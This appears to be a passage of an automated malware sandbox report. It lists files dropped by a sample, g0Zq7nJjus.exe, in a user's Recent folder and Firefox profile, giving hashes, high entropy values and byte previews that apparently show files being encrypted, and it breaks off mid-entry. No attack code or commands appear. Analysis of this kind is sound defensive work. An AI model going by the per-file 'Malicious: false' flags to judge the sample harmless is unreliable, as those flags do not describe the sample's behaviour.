Preview:	VFMANOm.=L9\|v...o.Z.:. 1.Z?./...'...B.hJ.J.d.n&.......($..C.z....,Z..C.!....&XG...8b....V.XAJ..#[......!.w......9...=.Js...j!..a."..H.U.!..K....0.V...?...!..F#............iX..Y......V...0..6]....b..[8...\`.....>..V....+.E.l...7...p.(..8p..l>f...fP....D....-.~D/..o'p......Ug...>z..Qct.Hy .M..x.z.q...%.W.#+.......gl...?...57....a. {k.R..{U.zC_.h....^jQV.\|Q./v...].yW'xa.....u....5../..(~0.X....q:.Y.6I.iA......%...Cn...m....!..0.T.....n...\...-.B..,......I.P.t1.V....@.g.%.....25.&."..:\....]o~..v..H{....e....f}..U.\|.e....I...k....5......%gq.S.q4..5.o..%.7.\..)(.q..n...j......q..PG.o.'...'+.G%./...H'..{W..M!.2.S....y.n.&aZ.......(..@...........\|Z.8....g.M.....&...t.W1@.T....dD.T.G...G.Qv.......K...Q^.h...l$h...x/{.:.'PW2.y.Ja.A...2. .L.>..3.!..6.s....@=..o...Oy.C...@....A.....\|..a.[.R...D.l.N.....e.....V..[....<..hV2.!.}......=..@.....$.[.1.K...".......D.N.!.=. ....ls\|L........s.ZG]..M..4eV.P.X.T.....v..VcY.S.-fw...r.~...L.....X..6_.gl.Kwa....o...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VFMANBAXKI.mp3

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856357260743645
Encrypted:	false
SSDEEP:	24:kJ8XhNhAy4pDvvQ4W+c+PQzOE0zQEKuIVPE+yaP9Ur1d3UzGKuLWgmO8rWS+2bD:k2n101cKQzD0Yu0PfyaFUpd3US5WlO8x
MD5:	893784A6AEB8CECB9666C18B5EE3E0F4
SHA1:	D099DC2DE37AE19B322422EA774D9DD7C06C1182
SHA-256:	83DE2423E07F50995F8AFC967503466A6F89EFF6C653F43D6D4BB44B1FA48741
SHA-512:	C14D9074C9C47414F00D21B734BCEFD54B9D623AF4C92853CB770E3BFCBA54673CD6A106C5BA32DA91ECAAA85EC95625D3B961EA3A3EB4880792D768754BF6E8
Malicious:	false
Preview:	VFMAN...-...qY<.........T.9.a.x......\...&xUOE.I75..G.R.%..J2.spD0,...X....7..~0gq.....r."\|.D<.rZ+......z.l.%~....>.......m.F.Oh...K.;....Z.h....../......Z.vx.T....j..^x.%.........c.f(.\.tQ)u.f.6..Z6_...s..OH....w....^O]..Y:..<..r....0..:.^.#pPo+(B.Z.%.N....+..G.V.ZFn..u..i..F.....\|..T.....SQw.f...q.........e.S..z..U...oN.>#..."..4NDi..l...'...........E..H....1.r..w...<m..~.yH%`Z....;v......,.,......$9..%ZE.V.......RIG...}..KO....".9...W.@nx..e....L.?%.........}[ki..DSA.[.+n..&....;V.8a.D.....\|!.....r@.>g.......u...\|3.4.N.P1..^.):z.X..EH...?...2..E.X^.l..u:..XhI.o..E.e\|A..k...tX....o..8.....{..@......k3...-......3.zC.V.bQ.q../O.4u.f.....5...Y-.....9.o...`....#.."G...g=..,..yWj...S...@..N...!.Q.S..j...p..C..8......KL\|G^....^.h..3.!.. ...d3r.J._...VF...}X`L.a.c....N..C..U.9,#...C9.....@us>...y...W..=x+.y..+....'.m.b.>....UZ.L.u.;..'.....14.a.]....H..x...r.).^w.W10}. .p.(...*..&.d.=...o..`x.(0.%>..=..._....=......T_....p...o...Z7k.-....&.%....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\WPXVLHSFAZ.png

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855781604646587
Encrypted:	false
SSDEEP:	24:446NSj2rWrpfW0DaXbRxuyNSSE0wvno3/rFfymQlAxgo4wGvc2xBa2bD:6NSjqWrp/aXbCeSSZwvnc/rFfyrAxpq7
MD5:	1D4863600865E84C9AABBE69599BEFEC
SHA1:	A56E46A3ED0942CC701FFA40B044B199B8ACCFC5
SHA-256:	D1E36607537581ECEA94BDF010115EB9B099DCF8B836C0D137FD8DC14C94E289
SHA-512:	3C7D64D7C1BD9293B7D74CC457A968E5D5F7B177FAA10B119ABBB4ACD83F9270B2495A588998CEBE7C17939C905F2177F29CFC8FC16BA15968D993788DD1FD5B
Malicious:	false
Preview:	WPXVL.....T....G8.W.#Yt..w..7....T,NG..t...@..;....Jj.Y?.8..;R`..k\.-Q.X-!.vT...+.ZT..,..Q2...?bh....}-RbKf..1...=....../..Am. ...v......x...+....3E...k.qs....o.@..D.px.w..[}n6.Pv.=....Y..q1."...PFG}..X1=/...A_...gQ....VE2l.~..q.M8A...4WI...s.q[...[....g.;....$.....M......h.9.;.Y+0...!.....b..D......Z.IE._...5..K.`....VI..&8.K.....:.".w..l..b.......E..h..M....v.f.p)!..t.;.,..3 ......l...cv...A-.IZ.........[.FlM..a5t.3f.....\.....Gb0.9..G!...*...@....[..)~.~...._...1.(7&.CQ,S.,...Pd.6........B.5m........n.......^g(..B.?...l..sj..$.5..p.ZL.I..!......o...l..a9...a......90."A..XM...P.....o.b..4....nD..@.N.+...p .S.(2..w..?2.".'....a......./n.]YV..(~O..oi.M.E+o9......S..`Jf..%.,....\.......g..#\.._k..$.......y.BK..s..k^~D.6-.b.^W....Z3.&.......k{a..}(.....u+.{3D...M..U.:rY(.;.....mSWE..&/...K...5.F...../.k.y{j8.....'.@.Z.....d.......v...f-..O.e'"..D...a...Q....3o.[.#em..\|..r.yu.p.t.....R..l..x..l..........r..g......N..k.T)^.^\.+...:e

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZQIXMVQGAH.mp3

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856490556822247
Encrypted:	false
SSDEEP:	24:VcbEE8zssDtus+riHAGfpKZsjfgDdUCcc2XrziORGZYHGTjDypMWimp2bD:MEEqHRus+riHZpKGjYDP2NRGZ8tNCD
MD5:	9CD2587E812EE5C95805D32B3FF2B915
SHA1:	2CE48C344CD3E700A7640A8334221F7890E89CD2
SHA-256:	3E3307D3D6326FC95AA6068BC2AE1964216924AB0E95BD892B8F93D46FB2D879
SHA-512:	450E375AF5B1B50649E2DA09B9B827309181B34E838D6EED7BD20832EA4386151228FB2C5C8D8BD18BAB7782D7CBDEEE336DA932DFC582F9362620B86431A2CE
Malicious:	false
Preview:	ZQIXM......L..K$`.:........!....U$_...<....9.....c......Ow.^...m..3j....=+...F#...-u.._.3....7.D.e...Yc....R..:.z......v..T_n..\|)...E.A...'H.;/.!.X.....7,........g..:!>].f$._.r.r\|...m..{T..K}6.tS../.0..r.......P......%.....'.'.o1. ...{...X._..Q..D......T./..........U.....5!8....]U.-..I.NvB.<.D.7U.MQ.oC....X.......&.......,[...d.f...O.bz..'ZlsxA&M!v:C...5.h...~...s.5g.Y\|...L..B..+....O.....u..........^.......T ..f.\!....j...Q..w...I.J..lG.Gy2._..Z.g.......4.\|&Eo.NS^....&...@~.'."...0..v.?"ux......[e;P.N.']..cw3.%.......I...W2.:MO...E......^."...`(o..O.m;..4{.su...Ds....05N..>4/.....,.D.H.n..=..{r..X.k.;..k.H..L........r..7P..C.$rz..F.>.1kWAFS..F....>v......6..\...l.0..(0G.n..............;...[..3.S..+....v..Z...{...Z...."FV.I6-W.L..S .n.B%.P..E...y'2......M.6......9.<.h....:.C.m,`?.....\|......0...ov.j.=..d.,..".(zLDr..d.*..tV.`.F.O.z.0.....-Mt...3..)...7...8..Q..7.>.`0+\|.F.0.v.....=..L......I.8m.j.i..\|R.Y}A5}.F!E...8....'Xh.L...P.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZQIXMVQGAH.pdf

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840728160600036
Encrypted:	false
SSDEEP:	24:nsst2cWa+HBC/mc7pn/7xXfmAyZlGKAuqjBCOKTkxXSrfam/Snp1HV2bD:nNwa8Wmc7pn9vdyZlG9Ak0rfaDnqD
MD5:	C548EAB5A754333D72E2A30E1C43E801
SHA1:	F4985C76048130B4BF3C458A31424877BDEEEC3F
SHA-256:	9B35AA2956129067E4CB467A6026EB7C9D0B29D07F061377C4DAFBF33EB0D164
SHA-512:	E5A5AEF19BA5770287AAC2BA7E833E669F692471B40CE6627A0580A927AE139A37152FDC9180C6EE1C977FEBEAED093FB8E8474C6D25E50348ECEE100F3F34C9
Malicious:	false
Preview:	ZQIXM..h.=.f.....5.&.....Y..e........xM.......H.y..y...u.oZ....n..38.-.3....X..{.YQ.....7..qU.......(..'MQ....I...lwJ..{r.$.....[..=<&.\|.]......D.s....VsE.C..^...k=.G5KM.u..s.Oy../3._..;.\....=~DcQ.6E.a:...6D/..M..I..HfA....[.c:..{.gd.h..fl..Y..Dh.B..ux....-..x......"K..}...KZ.N-w.....:....!~.9#.8......o.b..+....J........$.v.m..c....^...D .8......).:..#..[.r....=.&J..G.M..$.o0+...2B..WP.l..'%4W.P.U.vS1.UX.o.#[..<....7_{.....48.l..Z..+.......Xm........g.....k.j_..;.#.-<8................=..#<.K.#..'.d.......zh...r...!.....1G"...'-...^.F....;E......;..I.r..mQ..VKKd.x..yp..S]..\._.(N.0\|.m....4e.A.d....6~!..w&......z...:[..9<..ryZ.p..-....S..N.......)<..._..t?.^...W3......[.k...`5..O......]!7p..G.m.S..b.#f...k.de..4z...2...>:...\|.\|./^....+....l].,+..].....w.. !....g..;...v.4.M...{.Y...y..NW..P]...&...`... .L...X..r....\S..k.w..?.E.....o6^.v.jF...vm..E.0.at.\.X.Qd...n....<..xxYC7...~..w.NB..>.+:yG.m._.C.%......._......pP9....-.)w7......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZQIXMVQGAH.xlsx

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826555973753565
Encrypted:	false
SSDEEP:	24:1V6lBahkMivosyp0N+D2YQGBeGyfoV7U4UKS7d9sxAUQV9Z2bD:f6lBpHFyp0wRQeOYqd9sxAU8wD
MD5:	37E2F9F257C6E61596073F5344DFE768
SHA1:	DFC442CB2D645A5F4432498086435E33387D9CB0
SHA-256:	DE47F7633B43ED9524B4F501A0E71B1EF0803E115BDF477218156E161FEE296B
SHA-512:	8C2CA56D065ACB7F11AA53D60F3C15608917D7AAA0463C2A332C9C34656DB216FD1C3BAA92FDC42B924CF240D05D0A4BD7DE2597F8AB49DD212A1F28EBDDE4AD
Malicious:	false
Preview:	ZQIXM5}X..?...4.c\|.%M....N.......k5.........q.z...%hq...8.}u./>~.q..[p......J.+i...$.1.:.AT%..'...+.HZ..>,l.u......7...KV..zM.K..N.%.MS<....g.S5.gJCY.x.-[.u...,...:..VQM.OD._[..b..Q._.u.M..nJ...\67.FB<.a.9....q0o..~=QZ...ba.fg...l'..7..+....$N.x?.M.......8.Ef(.u=.i.^W\...w...k._4.Aau.4...Ge.2.;.D..N......\|.z.r....{..z.?;0+d.is...x...V...l..Qg.k.p.....a)n.sg.j....O..%..K.N.!.`...k0...._..bE%W.....>.=...c."r.T.x..(5.!v.AG@..v.T.B,....`.R......\-......vy.e..<.S......\..Q .).&..d....4R,..&G..X..=e.(.-.......<).$..<.V.t.p=....{#..<....o...F.<(..!...g....Y.W.XY:.!?..OVYGWm.(z.TQZ..(}..H/.J.n.d.g_28..6c..Mt.ue.;.........+...e.i..B7..<285..G.....L.....;...v.R....n .....'.RbF....C...f..K`.i.B].+....R....z...M_..mp.(.............m9...Va@q..$"0....8P.x..a...tJ..^.4t^.[...a../....?....6u.,L.NL..s.>.......&.....0_.C.B.40. .;......#.....\A&.W.S.c.=..o.!.....M..g....R..A/.]].%..h.Y......".}...,.b..J..Zy.VH..n..U@.z..!d.Y..Nb..x._.K.d.bZ\|..K..u.....;F....Q..<

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\1696486832118.b6281059-34c6-49d8-97c7-24de33b104ab.new-profile.jsonlz4

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3841
Entropy (8bit):	7.955723232586301
Encrypted:	false
SSDEEP:	96:KMUAPzZYi67X8LRD9dO3zEY2/kEfJSxRvRVYiZk:TzZIXmV9Y3zEf8jxRvAZ
MD5:	7FA0DB6C37D5759CE24F6512A5DAC371
SHA1:	39C10D63BBA0F096EFED11CEDD21F7FC46E92BAD
SHA-256:	E91869B388F6056D556EC0FA20439C053FF03CDE0545C71205C7B0EC3BD9A4E1
SHA-512:	4A7B9952660EF6B5088FA83505B8D34D6F2DA5BED01D12F7DD4892DBF546782954AAD16BF5D37954A221B0A620C1710BBD610DDF210FB792A4F8EB7F88ED80F9
Malicious:	false
Preview:	mozLz1.....7..D....\;.Y2<.`.8i..%#..l.RD..x:>.{....jj.#Y./..zc....[.\|`...........n..s..7.......`.>......>I..j5k..'6.]GG.D6..e..s.R.8...9L.[.0.;.X../SF....U./..yi..y...:....r$7.O.).P....=;8......N..{U........T.iFB.&.P.6...,Y.{..GP.a"...KA.J./..!U.b.x...@..'qG....A.A.r:=..O.6.....2QZ.FO.....n "j..,q...U.B..-f...G....h....`...K.g..N9.vlD.1>...(...k...S.?f....l+.bNq............_.\[w..T..o'.DX$..)K.y..7..i..5z...}.z..F[)...j......N..t.~Xj.....@.5...9v$....Y.hFtb.E2...&...L.5cA....;...m\N#.#.. ....o..nn\7W..............K;@..] ..A.M:.R......I....6.\|I2..=.`g.0g..@ ..Bh.?6" ...cg.....>b.....D.)...#0.....n,P.X..nV.lH..l.....X...2&f..R.6N.Z.$...#E<o@..^v.".,7.L...&..?.h=.....i....&yG....="..i.o...b..P...o..NX.}p..m.GQ5B.........r2.Oo.....r.z.&...5.="..40.}.........W.....e'j....6........&.g&d:k?...a.j.(.j....\|..A5....Vj.N....W...B\a/.....R.......i..R\|(U...%p9...l.\|MT%..........N...n.zL{..J".&.I.k!o.-(!..07...J........?.aML......ECS

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\1696486832120.4cb4db2a-ee68-4128-8ff4-f04bdc710c24.event.jsonlz4

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3919
Entropy (8bit):	7.954293880614883
Encrypted:	false
SSDEEP:	96:2oRp0rCuTD2xaETsevC50k3FsbPSi4GJX9h45odjBlxxQRDD:2oRp0rV3C9TjvCL3FsbPSi4GJX9RdPoB
MD5:	F95CE04E921485136DCF751F3FA2D597
SHA1:	FDCB3A641BF12ED1614ACB396CBB0CD64B04255B
SHA-256:	38169393FD647C09D77B10FFADABABBEBFFCC0A7ECBC1120CBC0E54366251F3E
SHA-512:	D6B064C41B5CF62B1D9FFFF38F96C8F50C059AC0692832E244FFE560B304D047B09258C89D7C3EE0E7902D95BADC4FAFAF899111AAAB62828992B1C26FF490EA
Malicious:	false
Preview:	mozLz.\....M.GZn....J.9I.L..[.....N..!.p8.x.&i.o..]a..t....O....R.....\..,e........#..bZ....Hk..2...9x.6..lt........$........D.t4j.h..fHH...!.E.o.7.-..V....7."....:...d.M+......_.L...X."...P.xs..3D..}E).......^...O...Y....{N37.........w. .8.C3.._..5%.x.7. e.8.V.......Q.....^.W.X.....b6.. ...$...h..I#r. .z.JG.bI;O..!..H=..'.....t.@.N..w.@...g...v.@thm?.}..#S[.N/[%h4.9M.i.......0#....UX...X@......\.O................h...M..+..P.+...N..XK.....p.Zpq..C.5z.4<:.7.X.2c.[2z..c.....NI\.9.....YgQ..f..`r@H..4..Y...R.<.#.d..!k..\|..a:1.).e....J.q..v./V..s.S@...E.u.PV.p.9.......X[...S....M....6...Mu.(DY..^.. .9..m(v]F...l..q[Q..f.%`.J.i.O......V....rz.>F....."o..`Z>..+..^Nb.Q5.y1...5 .cF..\.b.]D...,.8n......W-.....D....=.t.].M..9.>u..."Sh.:.#..MW~..%a..'p.q.....-[..`. ...De4!....B.v...O.p.>!.f..vY...7....U.x..h.G..d..0.m>p.m.._R.Jq..7....K.............'.9=....x...6...F.!..F..,.H.".{.b..f(...gVpb.....V.t.....&.......,'Wu.=V.PCEy&...rJ'.....^-.`.O.c!

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\1696486832123.3eb2db8e-f770-4c52-9d7b-27180bea4925.main.jsonlz4

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	13932
Entropy (8bit):	7.986105371125666
Encrypted:	false
SSDEEP:	384:tezWdQjRoGCF2pZamRTGXMSCKT8mz232fLArIl5w0:teydERs2pjRhE02zAsl5f
MD5:	463EA6988CE07CA3AE24CE31FE02E577
SHA1:	8AE444D2D37FE823EBD3283C30C5D51D729E10D9
SHA-256:	F8186CBF04B3B2BDC36DA25F54FB3B0099267DA28F7F28CFA97652EE188D3B37
SHA-512:	90528642FCAD5010B49D0A3D5B1800AAE7F38BB4587EB4F180F8856D855C988DD4476A9CC4F071B096C1950698DE7E35A95A5A51352A746468A435C8E7F4F3BC
Malicious:	false
Preview:	mozLz.m.....S.t....-.+..E4..:..._..].y.p..o1.GA..0.F.+../...7.e'.U....p......7...a ...FI..}.-.X.W....N...?.9.:.r....x....i.2......cFS....Q.......V.Wm...k.(.Yg.WJ...:1.w<.....?.Q.B..i.J.I.G.2x\|..Mhd.d..[z.l..]......!...!K-......,;..l.q..t.....]y.... ...19g~n....B...iJ.UL.. .Q_... ..../>.Q(..[.l...j.>.....(.+(....N.oRX...!.\...}...s.?.1S...}.......W..\.T..N..!.v7.D....H.7^.=ZO..J.....z.3...t..........(..b.4....2Qil.;..Z.u.L....UPGk.%N.i.......V..S.[..t.)..(...i.'.ZJ..LW%.....rR....IE...+9..<.>..@9...)z..x=[.r....=.5..1{&<....0..z..?..DL.....UM..p1`....~o..s.H.n..{[Nq..E1..$..qS......[..q%.d.R..K.]7.mQ..C....\|......9.g.X.......4./.1..b.......{/........4.r....C.r&....(....!...%.,a.>.{...xSP-..Kq...E....i).....9.2G \.L+S.}....^.\.u..].D....:..........QD...<.......G.:.....m......+.......nX...s.T.>T.2.-i..._..C..%e.\..Nv6..B....g.w..{.....=.T"f...w/..t.'f...oEi...o}.......`z....q.-..'.k.'..D..;....:4.....R(.4..\| T..,.j.ZE.:./.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\1696486832124.b6dd686f-a071-4a96-9ec4-4a8ffdac9d0c.first-shutdown.jsonlz4

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	13928
Entropy (8bit):	7.986690865455083
Encrypted:	false
SSDEEP:	384:vr/PODr+y6f5GG9sUjG3dHcwXDAVpU6bBHrsE60:vSr6dssG3WwXDAnU6r5T
MD5:	5E9F8F17DEDF9F56CEB466DFEFDD0955
SHA1:	8DAE57C1984610A4B3657FCB1FABC042A1B00843
SHA-256:	06F44A2FEC572CF51ADD51AC72A3341205BDA2EEE87D1777C515E20853575C88
SHA-512:	FC5F44BA7393C18AD54D715B53E481DE07E6EEA53FE7EE7251BE6DDE2DAF1152D4FB07A32A8E0A91794FA8E364CA7F7511BEABA51724CEF9F256867F776685F0
Malicious:	false
Preview:	mozLz<...\.~....bI.yP...@~.\T~.....E..".oi.....^..s......oZ.{..:..)i.....DJ.dj..v.4....22L.~.6.Z52...\..5..c\....N..F@D.<1....(..t....'......3sQ......u.W ...u....l..v.../.....\..3.V.DS..4.?.....(\|v....9......a..3{~\|....yvL..pK.C..n.=.5v..Q.i...3..:...!EFM/.....i....[.'....h.....t...#.=H..S...H.k.V.~......X.....5.K.....1+'e..WT..(..W.Q..7....Rf.-.$L.g..G..~u.:.........(\n."..%5q.......=4.<c._...`...PPdB.K.d.y.b#.8.'R.....(..6...'..cg.f.:a.>..~..QG.`h...l....w........w/]..f{..@.m..@B..k.....}....RUk..z.@....V9.T....gY.vN)..u.W_.....x...F"]z.Nq....Vs.j.3.j}..#.I.....s..V....r...<V..k...x.."+7s.i.._.X...En.&. ..aZ..U[.dS....Y1.X.ga....k.lT.b.X....b..Q...P.h.?........:.../.....u.(u...0f]..n3..>/...w..b]uqh..Wy...b......tbSL.H.....\|.!a.#\5..C.T.lA...t.\0)i....zY^..w..P....&..5.I.O......E.AZ'.1..R..^.<..8...../.......3H..nE.\|...">.F\|\|Q.....c.<........).x.t..V....m&r.A....azo......1.7\|;Se..q...(..m g..O.G.j...W[I{WF...m..D..O.v0._

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\1696486838393.b7b7301e-d32e-49f7-b138-9fd21cf2ca6b.health.jsonlz4

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	779
Entropy (8bit):	7.67476189504594
Encrypted:	false
SSDEEP:	24:ga1krwD/3RJiUcWrJfJTUWFvVB1R9lcJ9Sqo2bD:gaqrW3PiUcWdfNn392b7bD
MD5:	4075DA848AA9DE211F758DDB02106930
SHA1:	EE652079E73BDFE844F81A553FF5AC2D38CC156C
SHA-256:	04D7CAE7400E3C139443E0C3AE44317A566321FE307F753F7ABE7A0F6875D947
SHA-512:	1B4176BC56F1EF244EE73BB81E6FC1ED4954123BDE01914ACA2FF25C1BFAB71ACD278EB3768FF7E3D187483E372FD0BB7ECAEEF17F8177A347C0A0124E661FE1
Malicious:	false
Preview:	mozLz\|...,,..WD...W.v.O.-qcc0a> T.c8U......T4...;.ke/...hL!&.t.O.Z.....[.L..3+.j).h.mr8. `.}..,...q......j...C.DG.../....M...p....$.....`.3czu.D_.vR.g.6t.i.....y....B... ...p......1.?...zimEq.X<.m.m.3:S...R.t.A..0P...J[hdT....e...JT..\....gX.>.d..xn)?^g..lj.\2>....\I;.>..>..&.......K..`\.....K...T.{?Z..O...)=....~-:o.{..:.}.t~..2w.o......).\|..q..x...O..l.1X.Ds.(...d...]AL.M8.....o.2.....X0......d.....C.}tQ....[....b...A.v.Xl.zI.H.W.Yq!.`..Bdd.W.P.+....KX.u]^d...L3.....EW.\|.fv.F...V...pD...ja@zV~......z.#=A.+...2#.R.M..?_....-..yG..\,o...tu.X...y.....m.:.VN.4. .D7..9N>..}{..L..y.....Os.}.^..uQ...I..d..E,Y..B.tw...Gg..&.F.=.k. e...&.H?..g...Av.-.....?L...(mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\1696486838409.7e03a685-c52e-4810-b494-0f433b33ac49.event.jsonlz4

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	4682
Entropy (8bit):	7.960640226690367
Encrypted:	false
SSDEEP:	96:Hn0t/SPhDB0yeyISMLJ8OyVKtC8ct4/GSh+z4sR5X9:H04Ph9mTS2yVyC8wNGa40h9
MD5:	AEC4A2F4EE88F96579B8454AA5E59453
SHA1:	F67B7F63E469A06826F3CB7CC5799BF3D41FEB9A
SHA-256:	283B3D1ACCD64C81CE10F0B42210C6C707DC1AB10D1551D95BBB1067E16AC06A
SHA-512:	ED3190769007252B7E22E2A8DC6283E42D0B8830732CACD8B6AECDD161E42095B31E5EA215902B1C2419C5034C87548629706875658C49B53FC2E2F18A4AAE0E
Malicious:	false
Preview:	mozLz..3vs..JS{.#9.i)mq.3..U.P.(<.L..G./.$,.K....m..u..?.FI.zJ.g......Q...E.O..l....../F`.5..tL.5A.b..v...H.8:...:...O.s..3..p..h#4Z:8...0.D.O.8.r.. .m6.r....iG=%.....m..0.h.cG0..qoXI.&]..,...c(r.F..6.A7.K8..J.n3P.j..B..IY...\|........a.4.jR.(....TM.#s`.+.<W..Z.^.$L.h.A..n..n..VV..Fu..(...'.?/.......6..A..^.V..j."...Y.x......i4.1.d.A.Sd...:^.8x.Rbjz..jwY.....3OUU.".)"..ZY.mM..z?E...,..Y...i.ua.A...)[8..l.....-.......... .n>.......T.....V.X.$.m0......d.alX..1....u.+z..-.[Pg./!...F...i.y].S..o#r.up.5.]OS-.b.M+TBu......s.d.w.(.0FT.HI. .....rr..k,...?#d.V...-.T/#`...K0.}....9.>....b:u....3mW.El.3.4.....h..a.=..A...CF.}.$.W.g>.(.1hz.X.........U2.B.......s..#.Y....E.B.....6.. 4.j..YJ.....y....&a3..}.\.Kb.R...7.....f.......8./..I.}V......u..x8;.H.uc....S.3..c}<.V..^H..[.O.~H@....Bq......Zyu.......~G.-..=..;?.,...Yg..cb=.]......]...........Z..n..Fq.....k^.....K..J..=..W.r...?p....D'._..q.........y.c.^m=.\.'.[...,h=.B.%o.....p8F+.B.)p..)...O....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\1696486838410.75265401-2d75-4127-a70f-7d6e61df69a0.health.jsonlz4

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	778
Entropy (8bit):	7.659085568085562
Encrypted:	false
SSDEEP:	12:H18WXyj5/xbRXjHOM+ITOpJoo8xPM/2bttzkIW/5iY7BvF5LyYODitSUdNcii9a:6FxbRTuM+bJSJ7SEGBPyYE92bD
MD5:	07AC82A87704C158A51CC08CCEA66488
SHA1:	8158A77963CA880181FAC32B3F83A88AAE4B5A43
SHA-256:	0DC8C3C550E8770962C5BA2D9D4500C26C90E705D7C23AD049014C3999E3DA7D
SHA-512:	9F3FFBA294D4A0A86A8D67C760E7D40DA5660153D6C2FB6EE725D4EE37428678BF0DA389DF5CA31C06924E8989848D37D52860ABD50D9286DFFF08FED8359729
Malicious:	false
Preview:	mozLz...y?D.[...W.e...U.......n...P..>....=.D..[....L.......X.j.9.V.RW...V.f.........O.<OI....v.............m.{..... .w..w.K.`.....L.P.I. ..fT..q....Xa......#.V)..z..[....%...1.......m..=.N[...U.3....lf....P.......V.3..-.....92..........}....CP..T....4N.G.2"..A..........G.i.......N..._...Tj...../.;Z!.k..).....k.l..P..v>.......:0...z.U.4.v...V.......a.......A.C./%Nc.X..O8OO.&.T....ni.N.&q....`b...). ...oT..p}X...'U..%.U.d.....c+U.i.h.....M.>g--J.jF...\|7......9'.Jp......w...ow{....7.../.......e#\|...9.q..6.........>.. .dz.1q..1q..u>...M.'.jTD"..L..R. ./..c.~....V.#.f...;.{~.#.i..1.sz3..o....N.uh...*.BB...i...I...p98...=..2.u3.S....;@.../..-..J%.qy...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\archived\2023-10\1696486838415.86928e7f-6ba2-4b62-8ea8-d89cfd7a97ca.main.jsonlz4

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	15435
Entropy (8bit):	7.9884134118994465
Encrypted:	false
SSDEEP:	384:d9BEe6IFp1u2+L4G1RPffhaBQl44L0RKOPds+W12B/:d+IFr+V/fZaA44L0RBRW1A/
MD5:	89628889E64763A4DFA86896EE7CBAE2
SHA1:	33733B7057015665E576C990070C7E8B021D1604
SHA-256:	5E30E28A72AC2FA4D36F6A2AD461449D4D764B94FA2C13B689206D087BADB374
SHA-512:	8E4F4880BA4A494BD9F43A5FD9FCF7EEEA0482F585EB3C186CC87E56210CD8328030C9F758302F816652AF3EAB55906E4B9FBBFE973F04F9673C27338D30048F
Malicious:	false
Preview:	mozLz=....o.M..f/.s.C.H../V.Hv..9...v.\|Pv.2.E.5...;@..A"..t....Z..^n.....F....^.Z..T0..DE<.6.f......."./g6...JQ&_o..W..-.. .......c...x.TH.../.....cH>M!.j2}.lL.84+..c7.C................D>.M.w.....C.....g"Cp:.......n.#%M..+AL.qh.Uz...[.....x...,...2.q........T....!t.>..<.X...dC......E.`..It..C..e)O^7O1S..{C....2...^* -....i..?{.K.x...R..&.W8..E......\.u....(...hmc.LU...0.K..p.~.O.?.p.%.mT ....[0...k.Q.IC......Vu-uC@IQ.5.?...({./11.).:.....^.w..".!.TQl,..S>...6...r..}_3.jl+..cJ..$B.v.<A...:..2.......L..r~...&...'...9..A.Lh)2.....(.......'...e.....U.$.D..'.h....x.=....-...w...2.:.]......!u'..).X.cE.&n.G.?VV..3...[$...........j.R+..\l.....Z>.._\|[cL...gu......'y.".z.hJ..`.....U.o...g.yR..y ...g.....s\;'...F).U.l5:.5..\-_.Ar.Et.Qu...E..._...*.\|0.... a..].h..(...Cv...,.E......1nz9=......>........3.,,>^:./V.._..E.+..E...e..A..u..4V%..F"...`h...8...X.X._.z'X.n.Sa.+.f....g.T.'C.w..CQ.0.-.~..?G..P.b.\|[.......c....A!.$....z.(&...X&......P+\n.M..P.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\datareporting\glean\db\data.safe.bin

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	12839
Entropy (8bit):	7.984392488604675
Encrypted:	false
